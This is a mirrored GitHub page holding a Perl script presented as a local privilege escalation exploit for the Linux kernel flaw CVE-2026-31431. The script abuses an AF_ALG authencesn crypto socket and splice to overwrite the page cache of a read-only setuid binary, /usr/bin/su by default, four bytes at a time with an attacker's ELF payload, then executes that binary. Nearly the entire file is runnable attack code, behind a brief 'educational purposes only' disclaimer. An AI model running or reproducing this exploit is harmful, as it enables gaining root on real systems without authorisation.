mirror of
https://github.com/4xura/CVE-2026-31431-Copy-Fail.git
synced 2026-05-26 05:10:50 +00:00
201 lines
No EOL
5.6 KiB
Perl
201 lines
No EOL
5.6 KiB
Perl
#!/usr/bin/env perl
|
|
#
|
|
# Title : CopyFail CVE-2026-31431 Linux LPE exploit, Perl version.
|
|
# Date : 2026-05-15
|
|
# Author : Axura (@4xura) - https://4xura.com
|
|
#
|
|
# Usage:
|
|
# ------
|
|
# perl exploit.pl [target_path] [payload_elf]
|
|
# DEBUG=1 perl exploit.pl
|
|
#
|
|
# Defaults:
|
|
# target_path = /usr/bin/su
|
|
# payload_elf = ./payload.elf
|
|
#
|
|
# Notes:
|
|
# ------
|
|
# Provided for educational purposes only. Use responsibly.
|
|
#
|
|
|
|
use strict;
|
|
use warnings;
|
|
use Config;
|
|
use Fcntl qw(O_RDONLY);
|
|
|
|
die "x86_64 Perl required\n" unless $Config{ptrsize} == 8;
|
|
|
|
use constant {
|
|
SYS_WRITE => 1,
|
|
SYS_OPEN => 2,
|
|
SYS_CLOSE => 3,
|
|
SYS_PIPE => 22,
|
|
SYS_SOCKET => 41,
|
|
SYS_ACCEPT => 43,
|
|
SYS_RECVFROM => 45,
|
|
SYS_SENDMSG => 46,
|
|
SYS_BIND => 49,
|
|
SYS_SETSOCKOPT => 54,
|
|
SYS_EXECVE => 59,
|
|
SYS_SPLICE => 275,
|
|
|
|
AF_ALG => 38,
|
|
SOCK_SEQPACKET => 5,
|
|
SOL_ALG => 279,
|
|
ALG_SET_KEY => 1,
|
|
ALG_SET_IV => 2,
|
|
ALG_SET_OP => 3,
|
|
ALG_SET_AEAD_ASSOCLEN => 4,
|
|
ALG_SET_AEAD_AUTHSIZE => 5,
|
|
MSG_MORE => 0x8000,
|
|
|
|
};
|
|
|
|
my $DEBUG = $ENV{DEBUG} ? 1 : 0;
|
|
|
|
sub ptr {
|
|
return unpack("Q<", pack("P", $_[0]));
|
|
}
|
|
|
|
sub xsyscall {
|
|
my ($name, @args) = @_;
|
|
my $argc = scalar(@args);
|
|
my $ret;
|
|
|
|
if ($argc == 0) { $ret = syscall(); }
|
|
elsif ($argc == 1) { $ret = syscall($args[0]); }
|
|
elsif ($argc == 2) { $ret = syscall($args[0], $args[1]); }
|
|
elsif ($argc == 3) { $ret = syscall($args[0], $args[1], $args[2]); }
|
|
elsif ($argc == 4) { $ret = syscall($args[0], $args[1], $args[2], $args[3]); }
|
|
elsif ($argc == 5) { $ret = syscall($args[0], $args[1], $args[2], $args[3], $args[4]); }
|
|
elsif ($argc == 6) { $ret = syscall($args[0], $args[1], $args[2], $args[3], $args[4], $args[5]); }
|
|
elsif ($argc == 7) { $ret = syscall($args[0], $args[1], $args[2], $args[3], $args[4], $args[5], $args[6]); }
|
|
else { die "$name: unsupported syscall arity $argc\n"; }
|
|
|
|
die "$name: $!\n" if !defined($ret) || $ret < 0;
|
|
return $ret;
|
|
}
|
|
|
|
sub read_payload {
|
|
my ($path) = @_;
|
|
open(my $fh, "<:raw", $path) or die "open($path): $!\n";
|
|
local $/;
|
|
my $payload = <$fh>;
|
|
close($fh);
|
|
die "empty payload: $path\n" unless defined($payload) && length($payload);
|
|
return $payload;
|
|
}
|
|
|
|
sub open_authencesn_socket {
|
|
my $tfm = xsyscall("socket(AF_ALG)", SYS_SOCKET, AF_ALG, SOCK_SEQPACKET, 0);
|
|
|
|
my $sockaddr_alg = pack(
|
|
"S< a14 L< L< a64",
|
|
AF_ALG,
|
|
"aead" . ("\0" x 10),
|
|
0,
|
|
0,
|
|
"authencesn(hmac(sha256),cbc(aes))"
|
|
);
|
|
|
|
xsyscall("bind(authencesn)", SYS_BIND, $tfm, ptr($sockaddr_alg), length($sockaddr_alg));
|
|
|
|
my $keyblob = pack("S< S< N", 8, 1, 16) . ("\0" x 32);
|
|
xsyscall("setsockopt(ALG_SET_KEY)",
|
|
SYS_SETSOCKOPT, $tfm, SOL_ALG, ALG_SET_KEY, ptr($keyblob), length($keyblob));
|
|
|
|
xsyscall("setsockopt(ALG_SET_AEAD_AUTHSIZE)",
|
|
SYS_SETSOCKOPT, $tfm, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, 0, 4);
|
|
|
|
my $op = xsyscall("accept", SYS_ACCEPT, $tfm, 0, 0);
|
|
return ($tfm, $op);
|
|
}
|
|
|
|
sub queue_aad {
|
|
my ($op, $chunk) = @_;
|
|
|
|
my $aad = "AAAA" . $chunk;
|
|
my $iov = pack("Q< Q<", ptr($aad), length($aad));
|
|
|
|
my $cbuf =
|
|
pack("Q< L< L< L< x4", 20, SOL_ALG, ALG_SET_OP, 0) .
|
|
pack("Q< L< L< L< a16 x4", 36, SOL_ALG, ALG_SET_IV, 16, "\0" x 16) .
|
|
pack("Q< L< L< L< x4", 20, SOL_ALG, ALG_SET_AEAD_ASSOCLEN, 8);
|
|
|
|
my $msg = pack(
|
|
"Q< L< x4 Q< Q< Q< Q< L< x4",
|
|
0, 0,
|
|
ptr($iov), 1,
|
|
ptr($cbuf), length($cbuf),
|
|
0
|
|
);
|
|
|
|
xsyscall("sendmsg(AAD)", SYS_SENDMSG, $op, ptr($msg), MSG_MORE);
|
|
}
|
|
|
|
sub splice_target_window {
|
|
my ($file_fd, $op, $target_offset) = @_;
|
|
|
|
my $pipebuf = "\0" x 8;
|
|
xsyscall("pipe", SYS_PIPE, ptr($pipebuf));
|
|
my ($rfd, $wfd) = unpack("l< l<", $pipebuf);
|
|
|
|
my $splice_len = $target_offset + 4;
|
|
my $splice_off = pack("q<", 0);
|
|
|
|
xsyscall("splice(file -> pipe)",
|
|
SYS_SPLICE, $file_fd, ptr($splice_off), $wfd, 0, $splice_len, 0);
|
|
|
|
xsyscall("splice(pipe -> AF_ALG)",
|
|
SYS_SPLICE, $rfd, 0, $op, 0, $splice_len, 0);
|
|
|
|
syscall(SYS_CLOSE, $rfd);
|
|
syscall(SYS_CLOSE, $wfd);
|
|
}
|
|
|
|
sub trigger_decrypt {
|
|
my ($op, $target_offset) = @_;
|
|
my $rx_len = $target_offset + 8;
|
|
my $rxbuf = "\0" x $rx_len;
|
|
|
|
my $ret = syscall(SYS_RECVFROM, $op, ptr($rxbuf), $rx_len, 0, 0, 0);
|
|
print " [-] recv() returned: $!\n" if $DEBUG && defined($ret) && $ret < 0;
|
|
}
|
|
|
|
sub overwrite_4_bytes {
|
|
my ($file_fd, $target_offset, $chunk) = @_;
|
|
$chunk .= "\0" x (4 - length($chunk)) if length($chunk) < 4;
|
|
|
|
print sprintf("[+] overwrite \@ 0x%x: %s\n", $target_offset, unpack("H*", $chunk))
|
|
if $DEBUG;
|
|
|
|
my ($tfm, $op) = open_authencesn_socket();
|
|
queue_aad($op, $chunk);
|
|
splice_target_window($file_fd, $op, $target_offset);
|
|
trigger_decrypt($op, $target_offset);
|
|
syscall(SYS_CLOSE, $op);
|
|
syscall(SYS_CLOSE, $tfm);
|
|
}
|
|
|
|
my $target = $ARGV[0] // "/usr/bin/su";
|
|
my $payload_path = $ARGV[1] // "./payload.elf";
|
|
my $payload = read_payload($payload_path);
|
|
my $payload_len = length($payload);
|
|
print "[+] target : $target\n";
|
|
print "[+] payload : $payload_len bytes from $payload_path\n";
|
|
print "[+] strategy : 4-byte writes via AAD[4:8] -> authencesn() scratch write\n";
|
|
|
|
sysopen(my $target_fh, $target, O_RDONLY) or die "open(target): $!\n";
|
|
my $file_fd = fileno($target_fh);
|
|
|
|
for (my $off = 0; $off < $payload_len; $off += 4) {
|
|
overwrite_4_bytes($file_fd, $off, substr($payload, $off, 4));
|
|
}
|
|
|
|
close($target_fh);
|
|
|
|
print "[+] payload staged into page cache, executing target...\n";
|
|
my ($arg0) = ($target =~ m{([^/]+)$});
|
|
$arg0 //= $target;
|
|
exec { $target } $arg0;
|
|
die "execve($target): $!\n"; |